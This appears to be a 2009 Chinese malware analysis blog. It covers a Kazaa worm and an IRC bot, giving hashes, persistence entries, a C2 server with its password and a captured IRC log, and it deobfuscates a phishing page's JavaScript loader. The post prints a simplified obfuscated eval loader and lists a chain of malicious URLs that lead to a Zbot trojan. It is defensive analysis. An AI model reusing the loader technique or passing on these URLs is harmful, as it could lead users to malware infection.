Blast祥的共享空间

名称: xdbot.exe (样本)
语言: Microsoft Visual C++ 6.0
类型: WR/P2PWorm;
MD5: 39B98D4C82D7B3D3E76779C17FD233C6
加壳: -
大小: 88.0 KB (90,194 字节)
时间: 2009年7月3日, 22:04:05
SAL#09093
safelab.spaces.live.com

分析：启动后，程序使用gethostbyname获取microsoft.com的IP，保证网络是连接的，然后程序加载kernel32.dll，读取一些函数地址，然后Sleep休眠500毫秒，接着调用RegOpenKeyA打开hkcu\console，并请求fontsize,fullscreen的值，接着，程序调用GetModuleFileNameA获取自身路径，然后CreateFileA打开自身，GetFileSize获取文件大小，realloc对分配返回的数据，Readfile读取自身数据，并CreateProcessA启动自身，修改进程，然后恢复进程。恢复的进程会复制自身到%system%\ctfm0n.exe（如果不存在的话），存在则复制到任意6位字母.exe，建立启动项“Winsock update2”，指向ctfm0n.exe，并建立文件夹%system%\kazaabackupfiles，复制自身到download_me.exe。使得自己可以在Kazza网络中传播。之后程序退出。

清理：
1, 删除对应文件，启动项
2, 重新启动

名称: IMG029-www.hi5.com.exe (样本)
语言: [Microsoft CAB SFX]  -> Borland Delphi 6.0 - 7.0 -> Microsoft Visual C++ 7.0
类型: TR/IRCBot;
MD5: 031429FC14151F94C8651A3FB110C19B
加壳: -
大小: 99.0 KB (101,376 字节)
时间: 2009年7月2日, 22:58:12
SAL#09092
safelab.spaces.live.com

加壳/保护：
程序第一层为Microsoft CAB自解压包，解压完毕后可见一个NEWPAC~1.EXE，这是一个IRCBot，不过不是最终的文件。Newpac~1.exe执行后，会试图加载必需DLL，并解压自身数据，使用CreateProcessA启动自身，并修改内存数据，写入解压后的数据，然后使用ResumeThread恢复线程。

动作：
可以使用OllyDebug的Attach功能附加到进程上，NEWPAC~1.EXE恢复线程后，弹出对话框“Windows Microsoft Viewer：Picture can not be displayed.”，点击确认后，执行正式代码，程序使用FindWindow查找指定窗体，并使用SendMessage发送消息，比如AIM_IMessage，WndAte32Class等，程序还会创建线程“MSN Threads”，“AIM Threads”，“TIM Threads”，分别用于向Messenger 、AIM、Triton发送消息，然后程序获取临时目录位置，并试图获取更新，更新完成之后会试图使用"!!!Security!!!. Lamer detected. coming back next reboot, cya."的信息欺骗用户重启，然后程序会复制自身到winudp.exe，设置属性为只读、隐藏系统并试图启动，并修改内存执行，文件会新建启动项“Windows UDP”，指向“winudp.exe”，使得自己开机时被执行，文件也会后台访问IRC服务器ad.chfo991.com，密码：letmein，获取病毒更新信息。记录如下：

:irc.foonet.com NOTICE AUTH :*** Looking up your hostname...
:irc.foonet.com NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
:irc.foonet.com 001 [00|CHN|344911] :Welcome to the ROXnet IRC Network [00|CHN|344911]!XP-3970@60.167.209.23
:irc.foonet.com 002 [00|CHN|344911] :Your host is irc.foonet.com, running version Unreal3.2.8.1
:irc.foonet.com 003 [00|CHN|344911] :This server was created 2009... 06... 24... CST at ......... 17:34:11
:irc.foonet.com 004 [00|CHN|344911] irc.foonet.com Unreal3.2.8.1 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeIKVfMCuzNTGj
:irc.foonet.com 005 [00|CHN|344911] CMDS=KNOCK,MAP,DCCALLOW,USERIP UHNAMES NAMESX SAFELIST HCN MAXCHANNELS=10 CHANLIMIT=#:10 MAXLIST=b:60,e:60,I:60 NICKLEN=30 CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 :are supported by this server
:irc.foonet.com 005 [00|CHN|344911] MAXTARGETS=20 WALLCHOPS WATCH=128 WATCHOPTS=A SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=beI,kfL,lj,psmntirRcOAQKVCuzNSMTG NETWORK=ROXnet CASEMAPPING=ascii EXTBAN=~,cqnr ELIST=MNUCT :are supported by this server
:irc.foonet.com 005 [00|CHN|344911] STATUSMSG=~&@%+ EXCEPTS INVEX :are supported by this server
:irc.foonet.com 251 [00|CHN|344911] :There are 2296 users and 2618 invisible on 1 servers
:irc.foonet.com 253 [00|CHN|344911] 3 :unknown connection(s)
:irc.foonet.com 254 [00|CHN|344911] 8 :channels formed
:irc.foonet.com 255 [00|CHN|344911] :I have 4914 clients and 0 servers
:irc.foonet.com 265 [00|CHN|344911] :Current Local Users: 4914  Max: 7411
:irc.foonet.com 266 [00|CHN|344911] :Current Global Users: 4914  Max: 7411
:irc.foonet.com 422 [00|CHN|344911] :MOTD File is missing
:[00|CHN|344911] MODE [00|CHN|344911] :+iwx
:[00|CHN|344911] MODE [00|CHN|344911] :-ix
:[00|CHN|344911]!XP-3970@60.167.209.23 JOIN :#maya
:irc.foonet.com 332 [00|CHN|344911] #maya :.msn.msg did haha :P http://photos-google.com/Image0192-29.exe?=
:irc.foonet.com 333 [00|CHN|344911] #maya uu 1246525296
:irc.foonet.com 353 [00|CHN|344911] @ #maya :[00|CHN|344911]
:irc.foonet.com 366 [00|CHN|344911] #maya :End of /NAMES list.
:irc.foonet.com 404 [00|CHN|344911] #maya :You must have a registered nick (+r) to talk on this channel (#maya)

清理：
1, 结束进程winudp.exe
2, 删除对应文件，启动项
3, 重新启动

网址：update.microsoft.com.kiffil.com.mx/microsoftofficeupdate/isapdl/default.aspx/?ln=en-us&id=069725887396190003032080657151226705177238757170 （失效快，不用试了，我贴代码就是……）
日期：2009.6.29 22.58.18
难点：以正常人的智商面对一段脑残的代码
代码：不正常
语言：JavaScript
编号：SAL#09D05
By. Safelab.spaces.live.com / BlastXiang.

*前言：为什么写这篇文章，因为有人对我这个“解密相关”分类的存在性提出质疑，整个破分类就4篇文章还害我天天订阅来订阅去的，但是其实我只是想说……没有代表性的我不想打字了……然而这又招致一顿懒人的臭骂，那算了我写篇吧……按照第一篇的优秀传统写……
?网址来源：如图

首先是一封极其藐视人类智商的邮件，URL一看就很假（还是上次说的嘛<a href=TrueURL>Description</a>），我D版我自豪，我就不信微软这么照顾我这D版用户。

好吧，一个世纪初的悲剧，这代码是什么？第一眼谁都看不懂，从上到下死盯着一分钟后保准不是你眼睛花了就是屏幕花了，其实结果是一样的，那我们发扬逆向思维的精神，从下面看，不难看出，还是个悲剧，变量名长的头晕，那没办法，谁让我写这个了，我就简化下他：

Level 3代码简化：
<script type="text/javascript">
var VarA = new Array('maisxMzgP4ZNBLDe', 'HqPzolzUA44YEOms', 'LxKix9TwcezfD', 'TgyzXSIVm1SvTOX9', 'a3RmHB9yA8', 'jNjZsDZvfLDrTB2b', 'ro7nYfgmEcRZ', 'v69YWVZqvoGj', 'dD87u7nJCwsiRR', 'VvxGiPUpV', 'vYEryov', 'x7P1pXFQO', 'Gd5GGFxiw4', 'YMlF8FOqX', 'K5hDED', 'V4mEkF2Vqk97f5', 'PtNVgbGvdlmNus4y', 'heNM04yPzbBlz6', 'uaewLhaK', 'P8VFJGEOuGSr7', 'orXlXFGBN', 'CYp4qZlixQw', 'J8EmYvpE1mBYcFO', 'c8xqssgszuf', 'KPqYfyVVqN', 'zhnCgC7u', 'PhwzXKBGh', 'xSx1HgRmONlvh', 'xm7G1AM9cK9u1ZgP', 'LsRi8nV', 'zkmwlMdAJ6V', 'K7sj8dW4OsgZ', 'tNV9pbEhLLL', 'iN0BVO', 'fxbzZphuB3n', 'xqy7dQZnNAm', 'TJDUOi6r', 'aU4kyvw', 'tWK4tC', 'MKCf5gjoeel0', 'flmrMb', 'qkYpPDbZS7XV', 'yaVRL5GlIrKl', 'LqnV0hNo', 'qHUz3mrNXpFoc', 'LnDx15HtM', 'f0vPy5iH6n8EaKB', 'hiAucHhlD8jIp2N', 'FTstOUA', 'xdUlVm6AkDhu', 'liscLMNr9S2tg', 'c5UAkC3MYOjP', 'mi7Lo4KsXUckWzIv', 'rJ9MNyMvfpdmAR', 'vwPRg8', 'JvBsa2WM', 'cCC7dsE', 'BBBONshxYxdk0kO', 'tFUdFvpQKDJ2A', 'NAaoRBcgf', 'bHA5pAEM8vOL6y0', 'DVNRBKujHBtM2', 'JvRMkUVBc2Y5Dtzw', 'EjmpDI1qJZvXTuTe', 'VUJ8mKy7ttdNo83t', 'AbKotkzcEt7Y2tsz', 'HBQlo2pic', 'K0MJnW2XjcjANXB', 'jjj70s', 'uMJW6Tucf8', 'vH9j2EstvS', 'egUIMI3M', 'HKQPJm', 'wuheVrk8Hicc02', 'TopfL4nixP', 'edxDLZpUblQm', 'k2dHMiABen0r0i', 'jdTPf7', 'UVUaxlnb5poRTHq9', 'Zp5GEbliCj', 'c3m1jplkeapvpRh', 'famMRDCqpFdpyS', 'beBbHxClsn', 'hNIDwLEx6obHQtEc', 'XzWwCTH', 'PikMMg07EdZClDB', 'V8L6fLn', 'q4jYC8KcxVQ5isr', 'tt28ANb1u', 'gnOaIxKDDEFKO', 'khvzZeFsSE373R', 'kePr3wfU7uC3tl', 'Q74uWvxTbRaVecPP', 'GYbp6WmY', 'Kzw7OcYvX8XNC4Ak', 'GI85Y75VDS', 'XDpBci2uNvU8', 'kJdNXSZ0Bb4ZWX', 'IF6Z99', 's53u332bY7qefzn', 'xSILNLOO', 'ri9NrtjRZWgn', 'RuOWPC7bzUdZGxIP', 'tmbwEBqdhGpo', 'iHqR0RjprAcT8q', 'Ir5IiWR0GH2RuVYk', 'xTDBXSCPWU84', 'uBTNKwbVU4i', 'UyPbkYP5S', 'WLdJwrKa2cZ', 'R2q1QmI', 'a5HMUjOolLf7M', 'EOW87bPS');
function FuncA(VarA, VarB) {VarC=document.getElementById(VarA[VarB]).innerHTML;return VarC}

var VarD = VarA.length;
var VarE="";
  for (VarB=0; VarD>VarB; VarB++ ) {
    VarE=VarE+FuncA(VarA, VarB);alert(VarE);}
   
   eval(decodeURIComponent(VarE));</script></html>

你把字体搞这么大干什么，有人问我，好不容易逮到机会骂下他作者我为什么不抓住呢，上面的代码最好不要执行，要执行你也得把他的alert(VarE);干掉再执行，为什么？因为那我加上去的，套在循环里面弹窗弹不死你……不过你会发现弹出来的都是空的，说明什么呢？代码加密很好？这个世界级难题的答案很简单，作者搞错了。

看代码不难看出，先是vara（下面不大小写错落有致的写了，太累）赋值成一大坨数据组成的数组，其实一看，各个元素就是上方网页元素的id。然后下面令varb自加1直到等于vard，期间vare不断加上从vara[varb]获取的对象数据，比如vara[varb]的内容是HBQlo2pic，那么他作者意愿就是获取<VXWtW99PFhQ0a id='HBQlo2pic'>%3B%0A%20%20%20</VXWtW99PFhQ0a>中的%3B%0A%20%20%20了，但是祸不单行，一是他代码执行出错，我们拿不到现成结果，二是我们只能自己一个个的拼凑了……说实话我懒得拼（我拼了前两个，是%0Afunction%20Zxinm6C4MZwtl%28，累死），不过看到有个元素是pdf.php，连上去，就是他了.

Level 4PDF：
pdf使用类似算法，可以解得http://ogzhnsltk.com/plugins/getexe.php（Trojan/Zbot），解密较容易，过程不赘述。

Level 5延伸：

延伸一下我们可以看到他的页面404是自定义的，404页面还是会加载恶意网址
Level 5>http://ogzhnsltk.com/plugins/load.php (404)
Level 6>http://rapidsystemsend.ru/transsend.html?888888f88678945fe (红色＝随机数，如果是执行的话结果只有13万分之一的几率跟我的一样..)
Level 7>http://rapidsystemsend.ru/berikosmon.html
Level 8>http://yllowpagesnotstop.ru/pig/index.php
Level 9>http://yllowpagesnotstop.ru/pig/ipsumEvenLike.pdf
Level 9>http://yllowpagesnotstop.ru/pig/tookNormalFact.pdf
Level10>[TR.Zbot]http://yllowpagesnotstop.ru/pig/update.php?id=0

O收工：

可以看到，跟一个写的很烂的代码做抗争，先是要对其作者做出最深的BS，才有动力继续解密，第五篇结束！

By. Safelab.spaces.live.com